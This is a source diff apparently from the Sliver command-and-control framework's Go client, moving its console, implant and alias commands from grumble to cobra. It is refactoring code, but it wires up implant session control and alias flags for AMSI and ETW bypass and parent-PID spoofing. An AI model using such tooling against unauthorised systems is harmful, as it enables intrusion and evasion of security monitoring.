@@ -24,27 +24,23 @@ import (
|
||||
"os"
|
||||
"path"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/transport"
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
)
|
||||
|
||||
const (
|
||||
logFileName = "sliver-client.log"
|
||||
)
|
||||
|
||||
var (
|
||||
sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
|
||||
)
|
||||
var sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
|
||||
|
||||
// Initialize logging
|
||||
func initLogging(appDir string) *os.File {
|
||||
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||
logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0600)
|
||||
logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600)
|
||||
if err != nil {
|
||||
panic(fmt.Sprintf("[!] Error opening file: %s", err))
|
||||
}
|
||||
@@ -53,51 +49,43 @@ func initLogging(appDir string) *os.File {
|
||||
}
|
||||
|
||||
func init() {
|
||||
rootCmd.TraverseChildren = true
|
||||
|
||||
// Create the console client, without any RPC or commands bound to it yet.
|
||||
// This created before anything so that multiple commands can make use of
|
||||
// the same underlying command/run infrastructure.
|
||||
con := console.NewConsole(false)
|
||||
|
||||
// Import
|
||||
rootCmd.AddCommand(cmdImport)
|
||||
rootCmd.AddCommand(importCmd())
|
||||
|
||||
// Version
|
||||
rootCmd.AddCommand(cmdVersion)
|
||||
|
||||
// Client console.
|
||||
// All commands and RPC connection are generated WITHIN the command RunE():
|
||||
// that means there should be no redundant command tree/RPC connections with
|
||||
// other command trees below, such as the implant one.
|
||||
rootCmd.AddCommand(consoleCmd(con))
|
||||
|
||||
// Implant.
|
||||
// The implant command allows users to run commands on slivers from their
|
||||
// system shell. It makes use of pre-runners for connecting to the server
|
||||
// and binding sliver commands. These same pre-runners are also used for
|
||||
// command completion/filtering purposes.
|
||||
rootCmd.AddCommand(implantCmd(con))
|
||||
|
||||
// No subcommand invoked means starting the console.
|
||||
rootCmd.RunE, rootCmd.PostRunE = consoleRunnerCmd(con, true)
|
||||
|
||||
// Completions
|
||||
carapace.Gen(rootCmd)
|
||||
}
|
||||
|
||||
var rootCmd = &cobra.Command{
|
||||
Use: "sliver-client",
|
||||
Short: "",
|
||||
Long: ``,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
appDir := assets.GetRootAppDir()
|
||||
logFile := initLogging(appDir)
|
||||
defer logFile.Close()
|
||||
|
||||
os.Args = os.Args[:1] // Stops grumble from complaining
|
||||
err := StartClientConsole()
|
||||
if err != nil {
|
||||
fmt.Printf("[!] %s\n", err)
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
// StartClientConsole - Start the client console
|
||||
func StartClientConsole() error {
|
||||
configs := assets.GetConfigs()
|
||||
if len(configs) == 0 {
|
||||
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
|
||||
return nil
|
||||
}
|
||||
config := selectConfig()
|
||||
if config == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
|
||||
rpc, ln, err := transport.MTLSConnect(config)
|
||||
if err != nil {
|
||||
fmt.Printf("Connection to server failed %s", err)
|
||||
return nil
|
||||
}
|
||||
defer ln.Close()
|
||||
return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
|
||||
}
|
||||
|
||||
// Execute - Execute root command
|
||||
|
||||
@@ -28,7 +28,6 @@ import (
|
||||
)
|
||||
|
||||
func selectConfig() *assets.ClientConfig {
|
||||
|
||||
configs := assets.GetConfigs()
|
||||
|
||||
if len(configs) == 0 {
|
||||
@@ -53,7 +52,6 @@ func selectConfig() *assets.ClientConfig {
|
||||
}
|
||||
|
||||
func getPromptForConfigs(configs map[string]*assets.ClientConfig) []*survey.Question {
|
||||
|
||||
keys := []string{}
|
||||
for k := range configs {
|
||||
keys = append(keys, k)
|
||||
|
||||
@@ -0,0 +1,73 @@
|
||||
package cli
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/grpc"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/transport"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
)
|
||||
|
||||
// consoleCmd generates the console with required pre/post runners
|
||||
func consoleCmd(con *console.SliverConsoleClient) *cobra.Command {
|
||||
consoleCmd := &cobra.Command{
|
||||
Use: "console",
|
||||
Short: "Start the sliver client console",
|
||||
}
|
||||
|
||||
consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true)
|
||||
|
||||
return consoleCmd
|
||||
}
|
||||
|
||||
func consoleRunnerCmd(con *console.SliverConsoleClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) {
|
||||
var ln *grpc.ClientConn
|
||||
|
||||
pre = func(_ *cobra.Command, _ []string) error {
|
||||
appDir := assets.GetRootAppDir()
|
||||
logFile := initLogging(appDir)
|
||||
defer logFile.Close()
|
||||
|
||||
configs := assets.GetConfigs()
|
||||
if len(configs) == 0 {
|
||||
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
|
||||
return nil
|
||||
}
|
||||
config := selectConfig()
|
||||
if config == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Don't clobber output when simply running an implant command from system shell.
|
||||
if run {
|
||||
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
|
||||
}
|
||||
|
||||
var rpc rpcpb.SliverRPCClient
|
||||
var err error
|
||||
|
||||
rpc, ln, err = transport.MTLSConnect(config)
|
||||
if err != nil {
|
||||
fmt.Printf("Connection to server failed %s", err)
|
||||
return nil
|
||||
}
|
||||
|
||||
return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run)
|
||||
}
|
||||
|
||||
// Close the RPC connection once exiting
|
||||
post = func(_ *cobra.Command, _ []string) error {
|
||||
if ln != nil {
|
||||
return ln.Close()
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
return pre, post
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
package cli
|
||||
|
||||
import (
|
||||
"errors"
|
||||
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command"
|
||||
"github.com/bishopfox/sliver/client/command/use"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
)
|
||||
|
||||
func implantCmd(con *console.SliverConsoleClient) *cobra.Command {
|
||||
con.IsCLI = true
|
||||
|
||||
makeCommands := command.SliverCommands(con)
|
||||
cmd := makeCommands()
|
||||
cmd.Use = constants.ImplantMenu
|
||||
|
||||
// Flags
|
||||
implantFlags := pflag.NewFlagSet(constants.ImplantMenu, pflag.ContinueOnError)
|
||||
implantFlags.StringP("use", "s", "", "interact with a session")
|
||||
cmd.Flags().AddFlagSet(implantFlags)
|
||||
|
||||
// Prerunners (console setup, connection, etc)
|
||||
cmd.PersistentPreRunE, cmd.PersistentPostRunE = makeRunners(cmd, con)
|
||||
|
||||
// Completions
|
||||
makeCompleters(cmd, con)
|
||||
|
||||
return cmd
|
||||
}
|
||||
|
||||
func makeRunners(implantCmd *cobra.Command, con *console.SliverConsoleClient) (pre, post func(cmd *cobra.Command, args []string) error) {
|
||||
startConsole, closeConsole := consoleRunnerCmd(con, false)
|
||||
|
||||
// The pre-run function connects to the server and sets up a "fake" console,
|
||||
// so we can have access to active sessions/beacons, and other stuff needed.
|
||||
pre = func(_ *cobra.Command, args []string) error {
|
||||
startConsole(implantCmd, args)
|
||||
|
||||
// Set the active target.
|
||||
target, _ := implantCmd.Flags().GetString("use")
|
||||
if target == "" {
|
||||
return errors.New("no target implant to run command on")
|
||||
}
|
||||
|
||||
session := con.GetSession(target)
|
||||
if session != nil {
|
||||
con.ActiveTarget.Set(session, nil)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
return pre, closeConsole
|
||||
}
|
||||
|
||||
func makeCompleters(cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
comps := carapace.Gen(cmd)
|
||||
|
||||
comps.PreRun(func(cmd *cobra.Command, args []string) {
|
||||
cmd.PersistentPreRunE(cmd, args)
|
||||
})
|
||||
|
||||
// Bind completers to flags (wrap them to use the same pre-runners)
|
||||
command.FlagComps(cmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["use"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
cmd.PersistentPreRunE(cmd, c.Args)
|
||||
return use.SessionIDCompleter(con)
|
||||
})
|
||||
})
|
||||
}
|
||||
+28
-17
@@ -22,26 +22,37 @@ import (
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
)
|
||||
|
||||
var cmdImport = &cobra.Command{
|
||||
Use: "import",
|
||||
Short: "Import a client configuration file",
|
||||
Long: `import [config files]`,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if 0 < len(args) {
|
||||
for _, arg := range args {
|
||||
conf, err := assets.ReadConfig(arg)
|
||||
if err != nil {
|
||||
fmt.Printf("[!] %s\n", err)
|
||||
os.Exit(3)
|
||||
func importCmd() *cobra.Command {
|
||||
cmdImport := &cobra.Command{
|
||||
Use: "import",
|
||||
Short: "Import a client configuration file",
|
||||
Long: `import [config files]`,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if 0 < len(args) {
|
||||
for _, arg := range args {
|
||||
conf, err := assets.ReadConfig(arg)
|
||||
if err != nil {
|
||||
fmt.Printf("[!] %s\n", err)
|
||||
os.Exit(3)
|
||||
}
|
||||
assets.SaveConfig(conf)
|
||||
}
|
||||
assets.SaveConfig(conf)
|
||||
} else {
|
||||
fmt.Printf("Missing config file path, see --help")
|
||||
}
|
||||
} else {
|
||||
fmt.Printf("Missing config file path, see --help")
|
||||
}
|
||||
},
|
||||
},
|
||||
ValidArgsFunction: func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {
|
||||
return []string{}, cobra.ShellCompDirectiveDefault
|
||||
},
|
||||
}
|
||||
|
||||
carapace.Gen(cmdImport).PositionalCompletion(carapace.ActionFiles().Tag("server configuration"))
|
||||
|
||||
return cmdImport
|
||||
}
|
||||
@@ -21,8 +21,9 @@ package cli
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
)
|
||||
|
||||
var cmdVersion = &cobra.Command{
|
||||
|
||||
@@ -21,24 +21,28 @@ package alias
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// AliasesCmd - The alias command
|
||||
func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func AliasesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) error {
|
||||
if 0 < len(loadedAliases) {
|
||||
PrintAliases(con)
|
||||
} else {
|
||||
con.PrintInfof("No aliases installed, use the 'armory' command to automatically install some\n")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// PrintAliases - Print a list of loaded aliases
|
||||
@@ -111,7 +115,7 @@ func getInstalledManifests() map[string]*AliasManifest {
|
||||
manifestPaths := assets.GetInstalledAliasManifests()
|
||||
installedManifests := map[string]*AliasManifest{}
|
||||
for _, manifestPath := range manifestPaths {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
data, err := os.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
@@ -124,3 +128,14 @@ func getInstalledManifests() map[string]*AliasManifest {
|
||||
}
|
||||
return installedManifests
|
||||
}
|
||||
|
||||
// AliasCommandNameCompleter - Completer for installed extensions command names
|
||||
func AliasCompleter() carapace.Action {
|
||||
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
|
||||
results := []string{}
|
||||
for name := range loadedAliases {
|
||||
results = append(results, name)
|
||||
}
|
||||
return carapace.ActionValues(results...).Tag("aliases")
|
||||
})
|
||||
}
|
||||
@@ -20,21 +20,21 @@ package alias
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// AliasesInstallCmd - Install an alias
|
||||
func AliasesInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
aliasLocalPath := ctx.Args.String("path")
|
||||
func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
aliasLocalPath := args[0]
|
||||
fi, err := os.Stat(aliasLocalPath)
|
||||
if os.IsNotExist(err) {
|
||||
con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
|
||||
@@ -49,7 +49,7 @@ func AliasesInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
// Install an extension from a directory
|
||||
func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
|
||||
manifestData, err := ioutil.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
|
||||
manifestData, err := os.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
|
||||
return
|
||||
@@ -74,12 +74,12 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError creating alias directory: %s\n", err)
|
||||
con.PrintErrorf("Error creating alias directory: %s\n", err)
|
||||
return
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
@@ -90,7 +90,7 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
|
||||
dst := filepath.Join(installPath, util.ResolvePath(cmdFile.Path))
|
||||
err := util.CopyFile(src, dst)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
con.PrintErrorf("Error copying file '%s' -> '%s': %s\n", src, dst, err)
|
||||
forceRemoveAll(installPath)
|
||||
return
|
||||
}
|
||||
@@ -129,12 +129,12 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
con.PrintInfof("Installing alias '%s' (%s) ... ", manifest.Name, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to create alias directory: %s\n", err)
|
||||
con.PrintErrorf("Failed to create alias directory: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
|
||||
con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
@@ -142,7 +142,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
if aliasFile.Path != "" {
|
||||
err := installArtifact(aliasGzFilePath, installPath, aliasFile.Path, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nFailed to install file: %s\n", err)
|
||||
con.PrintErrorf("Failed to install file: %s\n", err)
|
||||
forceRemoveAll(installPath)
|
||||
return nil
|
||||
}
|
||||
@@ -153,7 +153,7 @@ func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.Sl
|
||||
}
|
||||
|
||||
func installArtifact(aliasGzFilePath string, installPath, artifactPath string, con *console.SliverConsoleClient) error {
|
||||
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, "/")))
|
||||
data, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", strings.TrimPrefix(artifactPath, string(os.PathSeparator))))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -165,7 +165,7 @@ func installArtifact(aliasGzFilePath string, installPath, artifactPath string, c
|
||||
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
|
||||
os.MkdirAll(artifactDir, 0o700)
|
||||
}
|
||||
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
|
||||
err = os.WriteFile(localArtifactPath, data, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
+150
-88
@@ -22,13 +22,17 @@ import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
app "github.com/reeflective/console"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -36,8 +40,6 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -64,7 +66,7 @@ var (
|
||||
// Ties the manifest struct to the command struct
|
||||
type loadedAlias struct {
|
||||
Manifest *AliasManifest
|
||||
Command *grumble.Command
|
||||
Command *cobra.Command
|
||||
}
|
||||
|
||||
// AliasFile - An OS/Arch specific file
|
||||
@@ -122,9 +124,10 @@ func (a *AliasManifest) getFileForTarget(cmdName string, targetOS string, target
|
||||
}
|
||||
|
||||
// AliasesLoadCmd - Locally load a alias into the Sliver shell.
|
||||
func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
alias, err := LoadAlias(dirPath, con)
|
||||
func AliasesLoadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
dirPath := args[0]
|
||||
// dirPath := ctx.Args.String("dir-path")
|
||||
alias, err := LoadAlias(dirPath, cmd.Root(), con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to load alias: %s\n", err)
|
||||
} else {
|
||||
@@ -133,7 +136,7 @@ func AliasesLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
// LoadAlias - Load an alias into the Sliver shell from a given directory
|
||||
func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasManifest, error) {
|
||||
func LoadAlias(manifestPath string, cmd *cobra.Command, con *console.SliverConsoleClient) (*AliasManifest, error) {
|
||||
// retrieve alias manifest
|
||||
var err error
|
||||
manifestPath, err = filepath.Abs(manifestPath)
|
||||
@@ -142,7 +145,7 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
|
||||
}
|
||||
|
||||
// parse it
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
data, err := os.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -151,52 +154,46 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
|
||||
return nil, err
|
||||
}
|
||||
aliasManifest.RootPath = filepath.Dir(manifestPath)
|
||||
|
||||
// for each alias command, add a new app command
|
||||
|
||||
// do not add if the command already exists
|
||||
if cmdExists(aliasManifest.CommandName, con.App) {
|
||||
return nil, fmt.Errorf("'%s' command already exists", aliasManifest.CommandName)
|
||||
}
|
||||
|
||||
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
|
||||
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
|
||||
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
|
||||
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
|
||||
addAliasCmd := &grumble.Command{
|
||||
Name: aliasManifest.CommandName,
|
||||
Help: helpMsg,
|
||||
LongHelp: longHelpMsg,
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runAliasCommand(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
addAliasCmd := &cobra.Command{
|
||||
Use: aliasManifest.CommandName,
|
||||
Short: helpMsg,
|
||||
Long: longHelpMsg,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
runAliasCommand(cmd, con, args)
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
if aliasManifest.IsAssembly {
|
||||
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
f.Bool("i", "in-process", false, "Run in the current sliver process")
|
||||
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
|
||||
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
|
||||
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
|
||||
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
|
||||
f.Uint("P", "ppid", 0, "parent process ID to use when creating the hosting process (Windows only)")
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
},
|
||||
HelpGroup: consts.AliasHelpGroup,
|
||||
Args: cobra.ArbitraryArgs, // a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
GroupID: consts.AliasHelpGroup,
|
||||
Annotations: makeAliasPlatformFilters(aliasManifest),
|
||||
}
|
||||
con.App.AddCommand(addAliasCmd)
|
||||
|
||||
if aliasManifest.IsAssembly {
|
||||
f := pflag.NewFlagSet("assembly", pflag.ContinueOnError)
|
||||
f.StringP("method", "m", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.StringP("class", "c", "", "Optional class name (required for .NET DLL)")
|
||||
f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
f.BoolP("in-process", "i", false, "Run in the current sliver process")
|
||||
f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
|
||||
f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
|
||||
f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)")
|
||||
addAliasCmd.Flags().AddFlagSet(f)
|
||||
}
|
||||
|
||||
f := pflag.NewFlagSet(aliasManifest.Name, pflag.ContinueOnError)
|
||||
f.StringP("process", "p", "", "Path to process to host the shared object")
|
||||
f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process")
|
||||
f.Uint32P("ppid", "P", 0, "parent process ID to use when creating the hosting process (Windows only)")
|
||||
f.BoolP("save", "s", false, "Save output to disk")
|
||||
f.IntP("timeout", "t", defaultTimeout, "command timeout in seconds")
|
||||
addAliasCmd.Flags().AddFlagSet(f)
|
||||
|
||||
cmd.AddCommand(addAliasCmd)
|
||||
|
||||
// Have to use a global map here, as passing the aliasCmd
|
||||
// either by value or by ref fucks things up
|
||||
@@ -244,7 +241,7 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) {
|
||||
return alias, nil
|
||||
}
|
||||
|
||||
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func runAliasCommand(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
@@ -259,18 +256,18 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
loadedAlias, ok := loadedAliases[ctx.Command.Name]
|
||||
loadedAlias, ok := loadedAliases[cmd.Name()]
|
||||
if !ok {
|
||||
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
|
||||
con.PrintErrorf("No alias found for `%s` command\n", cmd.Name())
|
||||
return
|
||||
}
|
||||
aliasManifest := loadedAlias.Manifest
|
||||
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
binPath, err := aliasManifest.getFileForTarget(cmd.Name(), goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Fail to find alias file: %s\n", err)
|
||||
return
|
||||
}
|
||||
args := ctx.Args.StringList("arguments")
|
||||
// args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
if len(aliasManifest.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = aliasManifest.DefaultArgs
|
||||
@@ -280,9 +277,31 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
extArgs = strings.TrimSpace(extArgs)
|
||||
entryPoint := aliasManifest.Entrypoint
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
processArgsStr, _ := cmd.Flags().GetString("process-arguments")
|
||||
// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
|
||||
// The Donut loader has a hard limit of 256 characters for the command line arguments, so
|
||||
// we're alerting the user that the arguments will be truncated.
|
||||
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
|
||||
con.PrintWarnf(" Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies and non-reflective PE files.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n")
|
||||
msgStr := ""
|
||||
// The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true).
|
||||
// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
|
||||
// if the flag is not registered.
|
||||
if aliasManifest.IsAssembly {
|
||||
inProcess, _ := cmd.Flags().GetBool("in-process")
|
||||
runtime, _ := cmd.Flags().GetString("runtime")
|
||||
amsiBypass, _ := cmd.Flags().GetBool("amsi-bypass")
|
||||
etwBypass, _ := cmd.Flags().GetBool("etw-bypass")
|
||||
if !inProcess {
|
||||
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n"
|
||||
}
|
||||
if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
|
||||
con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
|
||||
return
|
||||
}
|
||||
} else if !aliasManifest.IsReflective {
|
||||
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for non-reflective PE payloads.\n"
|
||||
}
|
||||
con.PrintWarnf(msgStr)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
